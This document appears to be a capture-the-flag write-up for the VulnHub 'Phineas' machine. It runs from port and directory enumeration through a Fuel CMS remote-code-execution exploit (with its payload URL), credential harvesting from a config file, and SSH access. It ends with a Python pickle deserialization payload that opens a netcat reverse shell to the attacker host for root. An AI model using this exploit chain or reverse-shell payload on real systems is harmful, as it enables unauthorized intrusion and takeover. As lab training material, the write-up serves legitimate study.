

```

> cat target -l python -p
# Nmap 7.95 scan initiated Mon Jun  2 14:56:59 2025 as: /usr/lib/nmap/nmap --priv
Nmap scan report for 10.0.2.79
Host is up (0.00017s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
|_ ssh-hostkey:
|_   2048 ac:d8:0a:a8:6a:1f:78:6d:ac:06:8f:65:3e:ff:9c:8b (RSA)
|_   256 e7:f8:b0:07:1c:5b:4a:48:10:bc:f6:36:42:62:6c:e0 (ECDSA)
|_   256 c8:f0:ea:b8:bf:6b:a5:12:1f:9a:91:62:9d:1a:ce:75 (ED25519)
80/tcp    open  http     Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_ http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_ http-methods:
|_   Potentially risky methods: TRACE
|_ http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp   open  rpcbind  2-4 (RPC #100000)
|_ rpcinfo:
|_   program version    port/proto  service
|_   100000  2,3,4      111/tcp     rpcbind
|_   100000  2,3,4      111/udp     rpcbind
|_   100000  3,4        111/tcp6    rpcbind
|_   100000  3,4        111/udp6    rpcbind
3306/tcp  open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
MAC Address: 08:00:27:F5:CB:99 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

> whatweb http://10.0.2.79
http://10.0.2.79 [403 Forbidden] Apache[2.4.6], Bootstrap, Country[RESERVED][ZZ], Email[webmaster@example.com], HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[10.0.2.79], PHP[5.4.16], PoweredBy[Apache CentOS], Title[Apache HTTP Server Test Page powered by CentOS]

> gobuster dir -u http://10.0.2.79 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -t 200
=====
Gobuster v3.6
by DJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:             http://10.0.2.79
[+] Method:          GET
[+] Threads:         200
[+] Wordlist:         /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.6
[+] Extensions:     php,html,txt
[+] Timeout:         10s
=====
Starting gobuster in directory enumeration mode
=====
./html                (Status: 403) [Size: 207]
/structure            (Status: 301) [Size: 235] [--> http://10.0.2.79/structure/]
./html                (Status: 403) [Size: 207]
Progress: 882236 / 882240 (100.00%)

> gobuster dir -u http://10.0.2.79/structure -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,md -t 200
=====
Gobuster v3.6
by DJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:             http://10.0.2.79/structure
[+] Method:          GET
[+] Threads:         200
[+] Wordlist:         /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent:      gobuster/3.6
[+] Extensions:     php,html,txt,md
[+] Timeout:         10s
=====
Starting gobuster in directory enumeration mode
=====
./html                (Status: 403) [Size: 217]
/assets              (Status: 301) [Size: 242] [--> http://10.0.2.79/structure/assets/]
/README.md           (Status: 200) [Size: 1427]
/robots.txt           (Status: 200) [Size: 30]
/contributing.md      (Status: 200) [Size: 6502]
Progress: 102519 / 1102800 (9.30%)[ERROR] Get "http://10.0.2.79/structure/index.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/fuel                (Status: 301) [Size: 240] [--> http://10.0.2.79/structure/fuel/]
./html                (Status: 403) [Size: 217]

> dirsearch -u http://10.0.2.79 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-response 403 -e php,txt,xml,jsp,js,html,aspx
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

v0.4.3

Extensions: php, txt, xml, jsp, js, html, aspx | HTTP method: GET | Threads: 25 | Wordlist size: 220544
Output File: /home/kali/VulnHub/Phineas/reports/http_10.0.2.79_25-06-04_11-58-42.txt
Target: http://10.0.2.79/

[11:58:42] Starting:
[11:58:50] 301 - 2358 - /structure -> http://10.0.2.79/structure/
Task Completed

> dirsearch -u http://10.0.2.79/structure -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --exclude-response 403 -e php,txt,xml,jsp,js,html,aspx
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

v0.4.3

Extensions: php, txt, xml, jsp, js, html, aspx | HTTP method: GET | Threads: 25 | Wordlist size: 220544
Output File: /home/kali/VulnHub/Phineas/reports/http_10.0.2.79_25-06-04_12-30-40.txt
Target: http://10.0.2.79/

[12:30:40] Starting: structure/
[12:30:41] 301 - 2408 - /structure/assets -> http://10.0.2.79/structure/assets/
[12:31:52] 301 - 2408 - /structure/fuel -> http://10.0.2.79/structure/fuel/

```

v0.4.3

Output File: /home/kali/VulnHub/Phineas/reports/http_10.0.2.79/_structure_fuel_25-06-04_12-53-14.txt

Target: <http://10.0.2.79/>

```
[12:53:14] Starting: stru
```




```
[12:53:15] 301 - 2488 - /structure
```

```
[12:53:16] 301 - 248B - /structure/fuel/install -> http://10.0.2.79/structure/fuel/install/
[12:53:19] 301 - 252B - /structure/fuel/application -> http://10.0.2.79/structure/fuel/app/
```

```
[12:53:19] 301 - 2498 - /structure/fuel/licenses -> http://10.0.2.79/structure/fuel/licenses/
###          1 16% 37382/220544      302/s      job:1/1  errors:0
```

```
[13:00:56] 301 - 252B - /structure/fuel/data_backup -> http://10.0.2.79/structure/fuel/data_backup/
```


Index of /structure/fuel/install

 Parent Directory	-
 archive/	2017-03-18 01:13 -
 fuel_schema.sql	2017-03-18 01:13 13K

```
5 INTO `func1` VALUES (1,1);
```

```
287 INSERT INTO `fuel_users` (`id`, `user_name`, `password`, `e
288 VALUES
289     (1, 'admin', 'f4c99eae874755b97610d650be565f1ac42019d1'
```

```
> hash-identifier f4c99eae874755b97610d650be565f1ac42019d1
```

[illegible]

```
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
```

```
> echo "f4c99eae874755b97610d650be565f1ac42019d1" > hash.txt
```

```
> john --format=raw-sha1 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA1 [SHA1 256/256 AVX2 8x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 DONE (2025-06-04 13:24) 0g/s 11118Kp/s 11118Kc/s 11118KC/s xCvBnM,..*7iVamos!
Session completed.
```

```
> searchsploit fuel
-----
Exploit Title
-----
AMD Fuel Service - 'Fuel.service' Unquote Service Path
Franklin Fueling Systems TS-550 - Exploit and Default Password
Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion (LFI)
Franklin Fueling Systems TS-550 - Default Password
Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities
fuel CMS 1.4.1 - Remote Code Execution (1)
fuel CMS 1.4.1 - Remote Code Execution (2)
fuel CMS 1.4.1 - Remote Code Execution (3)
fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated)
fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)
fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)
fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF)
```

FUEL CMS × Index of /structure/fuel/data × Index of /structure/fuel/insta × exploit fuel - Busc

10.0.2.79/structure/index.php/fuel/login/5a6e566c62413d3d

loadsAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M THM

A screenshot of the Fuel CMS login page. The background is a solid dark gray. On the right side, there is a logo consisting of a teal lightning bolt inside a circle, followed by the text "fuelcms" in a teal sans-serif font. Below the logo are two stacked input fields with rounded corners and a thin teal border. The first field is labeled "username" and the second is labeled "password". Below these fields is a teal button with rounded corners and the word "Login" in white. At the bottom right, there is a link that says "Forgot password?" in a small, light gray font.

EXPLOIT
DATABASE

Fuel CMS 1.4.1 - Remote Code Execution (3)

EDB-ID:	CVE:	Author:	Type:	Platform:	Date:
50477	2018-16763	PADSALA TRUSHAL	WEBAPPS	PHP	2021-11-03

```
main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"
```

10.0.2.79/structure/index.php/fuel/pages/select/?filter='%2bpi(print(%24a%3d'system'))%2b%24a('

[Firefox Default](#)
[GTFGBins](#)
[PayloadsAllTheThings](#)
[Nessus](#)
[SonarQube](#)
[CCNA](#)
[OTW](#)
[HMVM](#)
[DL](#)
[VHB](#)
[THL](#)
[R-M](#)

Pages > Select

```
https://www.exploit-db.com/exploits/50477
dsAllTheThings | Nessus | SonarQube | CCNA | OTW | HMVM | DL | VHB | THL | R-M | THM | 50477.py
Completada — 1,9 KB

> mv /home/kali/50477.py .
> mv 50477.py exploit.py
> ll
drwxrwxr-x kali kali 4.0 KB Wed Jun 4 11:58:42 2025 reports
-rw-rw-r-- kali kali 1.9 KB Wed Jun 4 13:52:25 2025 exploit.py
-rw-rw-r-- kali kali 13 KB Wed Jun 4 13:01:41 2025 fuel_schema.sql
-rw-rw-r-- kali kali 41 B Wed Jun 4 13:22:29 2025 hash.txt
-rw-rw-r-- kali kali 489 B Mon Jun 2 14:54:23 2025 ports
-rw-rw-r-- kali kali 1.3 KB Mon Jun 2 14:57:06 2025 target

> python3 exploit.py -u http://10.0.2.79/structure/index.php
[+]Connecting...
Enter Command $id
systemuid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Enter Command $uname -r
system3.10.0-1160.el7.x86_64

Enter Command $ls -la
systemtotal 32
drwxr-xr-x. 4 apache apache 128 Apr 1 2021 .
drwxr-xr-x. 3 apache apache 23 Apr 1 2021 ..
-rwxr-xr-x. 1 apache apache 1427 Mar 18 2017 README.md
drwxr-xr-x. 9 apache apache 88 Mar 18 2017 assets
-rwxr-xr-x. 1 apache apache 193 Mar 18 2017 composer.json
-rwxr-xr-x. 1 apache apache 6502 Mar 18 2017 contributing.md
drwxr-xr-x. 9 apache apache 141 Mar 18 2017 fuel
-rwxr-xr-x. 1 apache apache 11802 Mar 18 2017 index.php
-rwxr-xr-x. 1 apache apache 30 Mar 18 2017 robots.txt
```

```
Enter Command $cat /etc/passwd | grep bash
systemroot:x:0:0:root:/root:/bin/bash
anna:x:1001:1001::/home/anna:/bin/bash
```

```
Enter Command $ls -la fuel/
systemtotal 4
drwxr-xr-x. 9 apache apache 141 Mar 18 2017 .
drwxr-xr-x. 4 apache apache 128 Apr 1 2021 ..
drwxr-xr-x. 15 apache apache 236 Mar 18 2017 application
drwxr-xr-x. 8 apache apache 130 Mar 18 2017 codeigniter
drwxr-xr-x. 2 apache apache 41 Mar 18 2017 data_backup
-rwxr-xr-x. 1 apache apache 40 Mar 18 2017 index.php
drwxr-xr-x. 4 apache apache 77 Mar 18 2017 install
drwxr-xr-x. 2 apache apache 61 Mar 18 2017 licenses
drwxr-xr-x. 3 apache apache 36 Mar 18 2017 modules
drwxr-xr-x. 2 apache apache 23 Mar 18 2017 scripts
```

```
Enter Command $ls -la fuel/application
systemtotal 12
drwxr-xr-x. 15 apache apache 236 Mar 18 2017 .
drwxr-xr-x. 9 apache apache 141 Mar 18 2017 ..
-rwxr-xr-x. 1 apache apache 0 Apr 1 2021 .htaccess
drwxr-xr-x. 3 apache apache 53 Mar 18 2017 cache
drwxr-xr-x. 2 apache apache 4096 Mar 18 2017 config
drwxr-xr-x. 2 apache apache 24 Mar 18 2017 controllers
drwxr-xr-x. 2 apache apache 4096 Mar 18 2017 core
drwxr-xr-x. 2 apache apache 264 Mar 18 2017 helpers
drwxr-xr-x. 2 apache apache 24 Mar 18 2017 hooks
-rwxr-xr-x. 1 apache apache 114 Mar 18 2017 index.html
drwxr-xr-x. 3 apache apache 21 Mar 18 2017 language
drwxr-xr-x. 2 apache apache 128 Mar 18 2017 libraries
drwxr-xr-x. 2 apache apache 41 Mar 18 2017 logs
drwxr-xr-x. 2 apache apache 29 Mar 18 2017 migrations
drwxr-xr-x. 2 apache apache 24 Mar 18 2017 models
drwxr-xr-x. 3 apache apache 34 Mar 18 2017 third_party
drwxr-xr-x. 9 apache apache 233 Apr 1 2021 views
```

```
Enter Command $ls -la fuel/application/config
systemtotal 160
drwxr-xr-x. 2 apache apache 4096 Mar 18 2017 .
drwxr-xr-x. 15 apache apache 236 Mar 18 2017 ..
-rwxr-xr-x. 1 apache apache 452 Mar 18 2017 MY_config.php
-rwxr-xr-x. 1 apache apache 4155 Apr 1 2021 MY_fuel.php
-rwxr-xr-x. 1 apache apache 1330 Mar 18 2017 MY_fuel_layouts.php
-rwxr-xr-x. 1 apache apache 1063 Mar 18 2017 MY_fuel_modules.php
-rwxr-xr-x. 1 apache apache 2507 Mar 18 2017 asset.php
-rwxr-xr-x. 1 apache apache 3919 Mar 18 2017 autoload.php
-rwxr-xr-x. 1 apache apache 18514 Apr 1 2021 config.php
-rwxr-xr-x. 1 apache apache 4390 Mar 18 2017 constants.php
-rwxr-xr-x. 1 apache apache 506 Mar 18 2017 custom_fields.php
-rwxr-xr-x. 1 apache apache 4647 Apr 1 2021 database.php
-rwxr-xr-x. 1 apache apache 2441 Mar 18 2017 doctypes.php
-rwxr-xr-x. 1 apache apache 4369 Mar 18 2017 editors.php
-rwxr-xr-x. 1 apache apache 547 Mar 18 2017 environments.php
-rwxr-xr-x. 1 apache apache 2993 Mar 18 2017 foreign_chars.php
-rwxr-xr-x. 1 apache apache 421 Mar 18 2017 google.php
-rwxr-xr-x. 1 apache apache 890 Mar 18 2017 hooks.php
-rwxr-xr-x. 1 apache apache 114 Mar 18 2017 index.html
-rwxr-xr-x. 1 apache apache 498 Mar 18 2017 memcached.php
-rwxr-xr-x. 1 apache apache 3032 Mar 18 2017 migration.php
-rwxr-xr-x. 1 apache apache 10057 Mar 18 2017 mimes.php
-rwxr-xr-x. 1 apache apache 706 Mar 18 2017 model.php
-rwxr-xr-x. 1 apache apache 564 Mar 18 2017 profiler.php
-rwxr-xr-x. 1 apache apache 1951 Mar 18 2017 redirects.php
-rwxr-xr-x. 1 apache apache 2269 Mar 18 2017 routes.php
-rwxr-xr-x. 1 apache apache 3181 Mar 18 2017 smileys.php
-rwxr-xr-x. 1 apache apache 680 Mar 18 2017 social.php
-rwxr-xr-x. 1 apache apache 1420 Mar 18 2017 states.php
-rwxr-xr-x. 1 apache apache 6132 Mar 18 2017 user_agents.php
```

Enter Command \$cat fuel/application/config/database.php

```
$db['default'] = array(
    'dsn' => '',
    'hostname' => 'localhost',
    'username' => 'anna',
    'password' => 'H993hfkNNid5kk',
```

```
> ssh anna@10.0.2.79
The authenticity of host '10.0.2.79 (10.0.2.79)' can't be established.
ED25519 key fingerprint is SHA256:25/XYWdRbWeE9Y3AfP5bBwCQiXr/wyKH76cZ+60/KYU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.79' (ED25519) to the list of known hosts.
anna@10.0.2.79's password:
[anna@phineas ~]$ id
uid=1001(anna) gid=1001(anna) grupos=1001(anna) contexto=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[anna@phineas ~]$
```



```
[anna@phineas ~]$ ls -la
total 32
drwx-----, 18 anna anna 4096 abr 1 2021 .
drwxr-xr-x, 3 root root 18 mar 31 2021 ..
-rwx-----, 1 anna anna 0 abr 1 2021 .bash_history
-rwx-----, 1 anna anna 18 mar 31 2020 .bash_logout
-rwx-----, 1 anna anna 193 mar 31 2020 .bash_profile
-rwx-----, 1 anna anna 231 mar 31 2020 .bashrc
drwx-----, 15 anna anna 4096 abr 1 2021 .cache
drwx-----, 14 anna anna 261 mar 31 2021 .config
drwx-----, 3 anna anna 25 mar 31 2021 .dbus
drwx-----, 2 anna anna 22 mar 31 2021 Desktop
drwx-----, 2 anna anna 6 mar 31 2021 Documents
drwx-----, 2 anna anna 6 mar 31 2021 Downloads
-rwx-----, 1 anna anna 16 mar 31 2021 .esd_auth
-rwx-----, 1 anna anna 1240 mar 31 2021 .ICEauthority
drwx-----, 3 anna anna 19 mar 31 2021 .local
drwx-----, 4 anna anna 39 nov 23 2020 .mozilla
drwx-----, 2 anna anna 6 mar 31 2021 Music
-rwx-----, 1 anna anna 385 abr 1 2021 .mysql_history
drwx-----, 2 anna anna 6 mar 31 2021 Pictures
drwx-----, 3 anna anna 19 abr 1 2021 .pki
drwx-----, 2 anna anna 6 mar 31 2021 Public
drwx-----, 2 anna anna 25 abr 1 2021 .ssh
drwx-----, 2 anna anna 6 mar 31 2021 Templates
drwx-----, 2 anna anna 6 mar 31 2021 Videos
drwxr-xr-x, 4 root root 80 abr 1 2021 web
```

```
[anna@phineas ~]$ cd Desktop/
[anna@phineas Desktop]$ cat user.txt
c2Vpc2VtcHJlbmVsbWlvY3VvcmltYW1tYQ
```

```
[anna@phineas Desktop]$ cd ../web/
[anna@phineas web]$ ls -la
total 12
drwxr-xr-x, 4 root root 80 abr 1 2021 .
drwx-----, 18 anna anna 4096 abr 1 2021 ..
-rwxr-----, 1 root anna 263 mar 31 2021 app.py
-rw-----, 1 root root 591 mar 31 2021 app.pyc
drw-----, 2 root root 32 abr 1 2021 __pycache__
drw-----, 5 root root 74 mar 31 2021 python3-virtualenv
```

```
[anna@phineas web]$ cat app.py
#!/usr/bin/python3

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/heaven", methods=["POST"])
def heaven():
    data = base64.urlsafe_b64decode(request.form['awesome'])
    pickle.loads(data)
    return '', 204
```

```
[anna@phineas web]$ ss -tunlp
Netid State Recv-Q Send-Q Local Address:Port
udp UNCONN 0 0 *:68
udp UNCONN 0 0 *:111
udp UNCONN 0 0 *:723
udp UNCONN 0 0 *:5353
udp UNCONN 0 0 127.0.0.1:323
udp UNCONN 0 0 *:42396
udp UNCONN 0 0 [::]:111
udp UNCONN 0 0 [::]:723
udp UNCONN 0 0 [::1]:323
tcp LISTEN 0 128 127.0.0.1:5000
tcp LISTEN 0 50 *:3306
tcp LISTEN 0 128 *:111
tcp LISTEN 0 128 *:22
tcp LISTEN 0 128 127.0.0.1:631
tcp LISTEN 0 128 [::]:111
tcp LISTEN 0 128 [::]:80
tcp LISTEN 0 128 [::]:22
tcp LISTEN 0 128 [::1]:631
```

```
> ssh -L 5000:127.0.0.1:5000 anna@10.0.2.79
anna@10.0.2.79's password:
Permission denied, please try again.
anna@10.0.2.79's password:
Last login: Wed Jun 4 08:19:27 2025 from 10.0.2.65
[anna@phineas ~]$ |
```

127.0.0.1:5000

Firefox Default GTFOBins PayloadsAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M

Not Found

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

127.0.0.1:5000/heaven

Firefox Default GTFOBins PayloadsAllTheThings Nessus

Method Not Allowed

The method is not allowed for the requested URL.


Google

creating exploit python pickle

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

isAllTheThings Nessus SonarQube CCNA OTW HMVM DL VHB THL R-M THM PS HT

We'll call our class `RCE` and let its `__reduce__` method return a callable and a tuple of arguments (as per the mentioned doc).



Hi, I'm David

I'm a software developer, penetration tester and IT consultant.

Currently I'm working on [allgood.systems](#) - a tool for monitoring your websites and cron jobs.

📍 Berlin, Germany

✉ Email

🐦 Twitter

```
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
              '/bin/sh -i 2>&1 | nc 127.0.0.1 1234 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))
```

```

GNU nano 8.4                                                                    pickle.py
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | '
              '/bin/sh -i 2>&1 | nc 10.0.2.65 443 > /tmp/f')
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

> python3 pickle.py
Traceback (most recent call last):
  File "/home/kali/VulnHub/Phineas/pickle.py", line 14, in <module>
    pickled = pickle.dumps(RCE())
              ^^^^^^^^^^^^^
AttributeError: module 'pickle' has no attribute 'dumps' (consider using
'pickle.dump' and 'pickle.loads' to implement pickle)

> mv pickle.py exploit_pickle.py
> python3 exploit_pickle.py
b'gASVbQAAAAAAAAACMBXbvc2l4lIwGc3lzdGVtLjOUjFJybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdkAvdG1wL2YgfCAvYmLuL3NoIC1pIDIiLjEgZCBuYyAxMC4wLjIuNjUgNDQzID4gL3RtcC9mLlIWUUpQu'

> curl -X POST http://127.0.0.1:5000/heaven -d 'awesome=gASVbQAAAAAAAAACMBXbvc2l4lIwGc3lzdGVtLjOUjFJybSAvdG1wL2Y7IG1rZmlmbyAvdG1wL2Y7IGNhdkAvdG1wL2YgfCAvYmLuL3NoIC1pIDIiLjEgZCBuYyAxMC4wLjIuNjUgNDQzID4gL3RtcC9mLlIWUUpQu'

> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.79] 43130
sh: no job control in this shell
sh-4.2# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:
:s0
sh-4.2# cat /root/root.txt
cat /root/root.txt
YW5uYW1hcm1lbm1jb3NhbnRpdml2ZSE
sh-4.2#

```